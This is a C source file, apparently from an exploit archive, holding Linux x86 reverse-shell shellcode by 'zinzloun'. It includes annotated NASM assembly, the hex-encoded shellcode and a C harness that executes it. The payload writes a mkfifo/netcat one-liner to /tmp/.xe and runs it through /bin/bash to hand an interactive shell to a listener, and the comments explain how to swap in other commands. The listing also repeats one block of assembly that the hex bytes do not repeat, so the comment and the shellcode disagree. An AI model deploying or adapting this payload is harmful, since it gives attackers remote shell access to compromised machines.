113 lines
No EOL
3.8 KiB
C
113 lines
No EOL
3.8 KiB
C
/*
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;author: Filippo "zinzloun" Bersani
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;date: 05/12/2016
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;version: 1.0
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;X86 Assembly/NASM Syntax
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;tested on: Linux OpenSuse001 2.6.34-12-desktop 32bit
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; Linux ubuntu 3.13.0-100-generic #147~precise1-Ubuntu 32bit
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; Linux bb32 4.4.0-45-generic 32bit
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; description:
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get a reverse shell executing a shell script saved in tmp that execute netcat that reverse the shell to the listener,
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considering that by now the default nc configuration does not permitt to execute (-e) command directly anymore
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this is a different approach that permitt to execute not only netcat.
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LIMITATION: size of the shellcode; the attacker has to have gained the privilege to execute commmand (/bin/bash)
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; see comment for details
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global _start
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section .text
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_start:
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CreateFile:
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xor eax, eax ;zeroing
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xor edx, edx
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push eax ;NULL byte as string terminator
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push 0x65782e2f ;name of file to be executed /tmp/.xe
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push 0x706d742f
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mov ebx, esp ;ebx point to pushed string
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mov esi, esp ;save the name of the file for a later use
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mov al,0x8 ;create the file...
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mov cl,077o ;...with 77 permission in octal (to avoid 0)
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int 0x80
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jmp CallPop
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WriteString:
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pop ecx ;get the command string to write in the file, 3rd arg
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mov ebx,eax ;save the returned value of the previous sys call (fd) into ebx, 2nd arg
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mov dl,0x09 ;now we put value $0x09 into dl...
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inc dl ;0x09 + 1 == 0x0A, get the bad Line feed char ;)
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mov byte [ecx+92],dl ;replace our R char with 0x0A *
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xor edx,edx
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mov dl,93 ;len of the buffer to write, 4th arg **
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mov al,0x04 ;sys call to write the file
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int 0x80
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mov ebx,eax ;save the returned value of the previous sys call (fd) into ebx, 2nd arg
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mov dl,0x09 ;now we put value $0x09 into dl...
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inc dl ;0x09 + 1 == 0x0A, get the bad Line feed char ;)
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mov byte [ecx+92],dl ;replace our R char with 0x0A *
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xor edx,edx
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mov dl,93 ;len of the buffer to write, 4th arg **
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mov al,0x04 ;sys call to write the file
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int 0x80
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CloseFile:
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xor eax,eax
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mov al, 0x6 ;close the stream file
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int 0x80
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ExecFile:
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xor eax, eax
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push eax ;push null into the stack
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;push ////bin/bash into the stack
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push 0x68736162
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push 0x2f6e6962
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push 0x2f2f2f2f
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mov ebx,esp ;set the 1st arg /bin/bash from the stack
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;set up the args array
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push eax ; null
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push esi ; get the saved pointer to the /tmp/.xe
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push ebx ; pointer to /bin/bash
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mov ecx, esp ;set the args
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xor edx,edx
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mov al, 0xb ;sys call 11 to execute the file
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int 0x80
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CallPop:
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call WriteString
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;this string can be configured to execute other command too, you have only to adjust the length of the buffer (**) and the index of the char (R) to replace (*)
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;according to the length of the string
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db "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /bin/nc localhost 9999 > /tmp/fR"
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\x31\xc0\x31\xd2\x50\x68\x2f\x2e\x78\x65\x68\x2f\x74\x6d\x70\x89\xe3\x89\xe6\xb0\x08\xb1\x3f\xcd\x80\xeb\x37\x59\x89"
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"\xc3\xb2\x09\xfe\xc2\x88\x51\x5c\x31\xd2\xb2\x5d\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80\x31\xc0\x50\x68\x62\x61\x73\x68\x68"
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"\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x56\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xc4\xff\xff\xff\x72\x6d\x20\x2d\x66"
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"\x20\x2f\x74\x6d\x70\x2f\x66\x3b\x20\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x66\x3b\x20\x63\x61\x74\x20\x2f\x74\x6d\x70\x2f"
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"\x66\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x20\x32\x3e\x26\x31\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x6e\x63\x20\x20\x6c\x6f"
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"\x63\x61\x6c\x68\x6f\x73\x74\x20\x39\x39\x39\x39\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x66\x52";
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main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |